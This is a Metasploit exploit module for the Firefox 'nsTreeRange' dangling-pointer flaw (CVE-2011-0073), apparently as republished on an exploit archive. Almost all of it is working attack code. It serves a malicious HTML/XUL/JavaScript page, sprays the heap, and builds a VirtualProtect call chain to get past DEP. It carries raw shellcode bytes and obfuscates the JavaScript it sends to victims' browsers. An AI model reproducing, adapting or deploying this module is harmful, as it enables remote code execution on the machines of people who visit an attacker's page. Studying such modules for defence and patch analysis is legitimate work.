Mozilla Firefox – ‘nsTreeRange’ Dangling Pointer (Metasploit) (1)
## # $Id: mozilla_nstreerange.rb 13148 2011-07-10 21:10:45Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "3.5", :ua_maxver => "3.6.16", :os_name => OperatingSystems::WINDOWS, :javascript => true, :rank => NormalRanking, :vuln_test => "if (navigator.userAgent.indexOf('Windows NT 5.1') != -1 || navigator.javaEnabled()) { is_vuln = true; }", }) def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability', 'Description' => %q{ This module exploits a code execution vulnerability in Mozilla Firefox 3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection. By overwriting a subfunction of invalidateSelection it is possible to free the nsTreeRange object that the function currently operates on. Any further operations on the freed object can result in remote code execution. Utilizing the call setup the function provides it's possible to bypass DEP without the need for a ROP. Sadly this exploit is still either dependent on Java or bound by ASLR because Firefox doesn't employ any ASLR-free modules anymore. }, 'License' => MSF_LICENSE, 'Author' => [ 'regenrecht', # discovered and sold to ZDI 'xero', # Shenanigans ], 'Version' => '$Revision: 13148 $', 'References' => [ ['CVE', '2011-0073'], ['OSVDB', '72087'], ['BID', '47663'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-157/'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'], ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', # graceful exit if run in separate thread 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 0x1000, # depending on the spray size it's actually a lot more 'BadChars' => "", }, 'Targets' => [ [ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'Auto' => true, 'Targets' => [['navigator.userAgent.indexOf("Windows NT 5.1") != -1', 1], ['navigator.javaEnabled()', 2]], 'UsesJava' => true } ], [ 'Firefox Runtime, fails with ASLR', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'VPOffset' => 0x781A91F8, # VirtualProtect 'LLOffset' => 0x781A9104, # LoadLibraryA 'GPAOffset' => 0x781A9014, # GetProcAddress 'UsesJava' => false } ], [ 'Java Runtime (7.10.3052.4), best against ASLR', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'VPOffset' => 0x7C37A140, 'LLOffset' => 0x7C37A0B8, 'GPAOffset' => 0x7C37A00C, 'UsesJava' => true } ], [ 'Java JVM (20.1.0.02)', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'VPOffset' => 0x6D9FC094, 'LLOffset' => 0x6D9FC110, 'GPAOffset' => 0x6D9FC188, 'UsesJava' => true } ], [ 'Java Regutils (6.0.260.3)', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'VPOffset' => 0x6D6C227C, 'LLOffset' => 0x6D6C2198, 'GPAOffset' => 0x6D6C2184, 'UsesJava' => true } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 2 2011' )) register_options( [ OptBool.new('SEHProlog', [ true, 'Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit', true]), OptBool.new('CreateThread', [ true, 'Whether to execute the payload in a new thread', true]), ], self.class ) register_advanced_options( [ OptInt.new('BaseOffset', [ true, 'The offset we hope to have overwritten with our heap spray', 0x0F000000 ]), OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks', 0x100000 ]), OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 200 ]), OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]), OptBool.new('Crash', [ true, 'Usa an invalid offset to make the exploit crash (for debugging)', false ]), ], self.class ) end def prepare_payload(target, p) base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1 spray_size = datastore['SpraySize'] esp_fix = 0 callchain = [] # Adding calls by hand is tedious, look at the bottom for an explanation of these values add_call = Proc.new { |offset, arg1, arg2, direct | next_offset = base_offset + (callchain.flatten.length*4) callchain[-1][2] = next_offset if callchain.length > 0 # connect new frame to last one if direct callchain << [ next_offset + 0x4 - 8, next_offset + 0x14, 0, arg1, arg2, next_offset + 0x18 - 0x70, offset ] else callchain << [ next_offset + 0x4 - 8, next_offset + 0x14, 0, arg1, arg2, offset - 0x70 ] end } add_call.call(target['LLOffset'], base_offset, 0) # use dummy LoadLibrary call to push valid fourth VirtualProtect argument on stack add_call.call(target['VPOffset'], 0x10000, 0x40) # call VirtualProtect to make heap executable add_call.call(0xDEADBEEF, 0, 0, true) # call our shellcode callchain.flatten! callchain[-1] = base_offset + (callchain.length*4) # patch last offset to point to shellcode located after callchain esp_fix = 0x10 payload_buf = callchain.pack('V*') payload_buf << "\xCC" if datastore['SetBP'] # make rest of shellcode run in separate thread if datastore['CreateThread'] and target['LLOffset'] and target['GPAOffset'] payload_buf << "\x60\x31\xc0\x50\x50\x50\xe8\x00\x00\x00\x00\x5a\x89\xd6" payload_buf << "\x52\x83\x04\x24\x3b\x83\xc2\x25\x83\xc6\x2e\x50\x50\x56" payload_buf << "\x52\xff\x15#{[target['LLOffset']].pack('V')}\x50\xff\x15#{[target['GPAOffset']].pack('V')}" payload_buf << "\xff\xd0\x61\xc2#{[esp_fix].pack('v')}\x6b\x65\x72\x6e\x65\x6c\x33\x32" payload_buf << "\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00" esp_fix = 0 end # encapsulate actual payload in SEH handler if datastore['SEHProlog'] payload_buf << "\x60\xe8\x00\x00\x00\x00\x83\x04\x24\x1a\x64\xff\x35\x00" payload_buf << "\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x81\xec\x00\x01" payload_buf << "\x00\x00\xeb\x12\x8b\x64\x24\x08\x64\x8f\x05\x00\x00\x00" payload_buf << "\x00\x83\xc4\x04\x61\xc2" payload_buf << [esp_fix].pack('v') end payload_buf << p # controlled crash, to return to our SEH handler payload_buf << "\x33\xC0\xFF\xE0" if datastore['SEHProlog'] payload_buf end def on_request_uri(cli, request) if request.uri == get_resource() or request.uri =~ /\/$/ print_status("#{self.refname}: Redirecting #{cli.peerhost}:#{cli.peerport}") redir = get_resource() redir << '/' if redir[-1,1] != '/' redir << rand_text_alphanumeric(4+rand(4)) redir << '.html' send_redirect(cli, redir) elsif request.uri =~ /\.html?$/ print_status("#{self.refname}: Sending HTML to #{cli.peerhost}:#{cli.peerport}") xul_name = rand_text_alpha(rand(100)+1) j_applet = rand_text_alpha(rand(100)+1) html = <<-EOS <html> #{"<applet codebase=\".\" code=\"#{j_applet}.class\" width=0 height=0></applet>" if target['UsesJava']} <iframe src="https://www.exploit-db.com/exploits/17520/#{xul_name}.xul" width="1" height="1" frameborder="0"></iframe> </html> EOS send_response(cli, html, { 'Content-Type' => 'text/html' }) elsif request.uri =~ /\.xul$/ print_status("#{self.refname}: Sending XUL to #{cli.peerhost}:#{cli.peerport}") js_file = rand_text_alpha(rand(100)+1) @js_func = rand_text_alpha(rand(32)+1) xul = <<-EOS <?xml version="1.0"?> <?xml-stylesheet type="text/css"?> <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="#{@js_func}()"> <script src="https://www.exploit-db.com/exploits/17520/#{js_file}.js"/> <tree id="tr"> <treechildren> <treeitem> <treerow> <treecell label=""/> </treerow> </treeitem> </treechildren> </tree> </window> EOS send_response(cli, xul, { 'Content-Type' => 'application/vnd.mozilla.xul+xml' }) elsif request.uri =~ /\.js$/ print_status("#{self.refname}: Sending JS to #{cli.peerhost}:#{cli.peerport}") return if ((p = regenerate_payload(cli).encoded) == nil) base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1 spray_size = datastore['SpraySize'] spray_count = datastore['SprayCount'] if not target['Auto'] escaped_payload = Rex::Text.to_unescape(prepare_payload(target, p)) shellcode_str = "var shellcode = unescape(\"#{escaped_payload}\");" else shellcode_str = target['Targets'].map{ |check, index| "if (#{check}) {\n var shellcode = unescape(\"#{Rex::Text.to_unescape(prepare_payload(targets[index], p))}\");\n }"}.join(' else ') shellcode_str << " else { return; }" end escaped_addr = Rex::Text.to_unescape([base_offset].pack("V")) custom_js = <<-EOS function #{@js_func}() { container = new Array(); #{shellcode_str} var delimiter = unescape("%udead"); var block = unescape("#{escaped_addr}"); while (block.length < 8) block += block; var treeSel = document.getElementById("tr").view.selection; treeSel.clearSelection(); for (var count = 0; count < 30; ++count) container.push(block + delimiter); treeSel.select(0); treeSel.tree = { invalidateRange: function(s,e) { treeSel.tree = null; treeSel.clearSelection(); for (var count = 0; count < 10; ++count) container.push(block + delimiter); var big = unescape("%u4558%u4f52"); while (big.length < #{spray_size / 2}) big += big; var pad = big.substring(0, #{(base_offset % spray_size)/2}) + shellcode; var spray = pad + big.substring(pad.length + 2); for (var count = 0; count < #{spray_count}; ++count) container.push(spray + delimiter); } } treeSel.invalidateSelection(); } EOS opts = { 'Symbols' => { 'Variables' => %w{ shellcode container delimiter block treeSel big pad spray count } } } send_response(cli, obfuscate_js(custom_js, opts), { 'Content-Type' => 'application/x-javascript' }) end # Handle the payload handler(cli) end end =begin ESI points to shellcode final call looks like this: CALL [[[[ESI]+8]]+70] [ESI+10], [ESI+C] and [[ESI]+8] are pushed as arguments [ESI+8] points to the next call frame, if there is one 104924BC /$ 56 PUSH ESI 104924BD |. 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 104924C1 |> 8B06 /MOV EAX,DWORD PTR DS:[ESI] 104924C3 |. 8B40 08 |MOV EAX,DWORD PTR DS:[EAX+8] 104924C6 |. 85C0 |TEST EAX,EAX 104924C8 |. 74 0C |JE SHORT xul.104924D6 104924CA |. FF76 10 |PUSH DWORD PTR DS:[ESI+10] 104924CD |. 8B08 |MOV ECX,DWORD PTR DS:[EAX] 104924CF |. FF76 0C |PUSH DWORD PTR DS:[ESI+C] 104924D2 |. 50 |PUSH EAX 104924D3 |. FF51 70 |CALL DWORD PTR DS:[ECX+70] # does the calling for us 104924D6 |> 8B76 08 |MOV ESI,DWORD PTR DS:[ESI+8] 104924D9 |. 85F6 |TEST ESI,ESI 104924DB |.^ 75 E4 \JNZ SHORT xul.104924C1 104924DD |. 5E POP ESI 104924DE \. C2 0400 RETN 4 =end |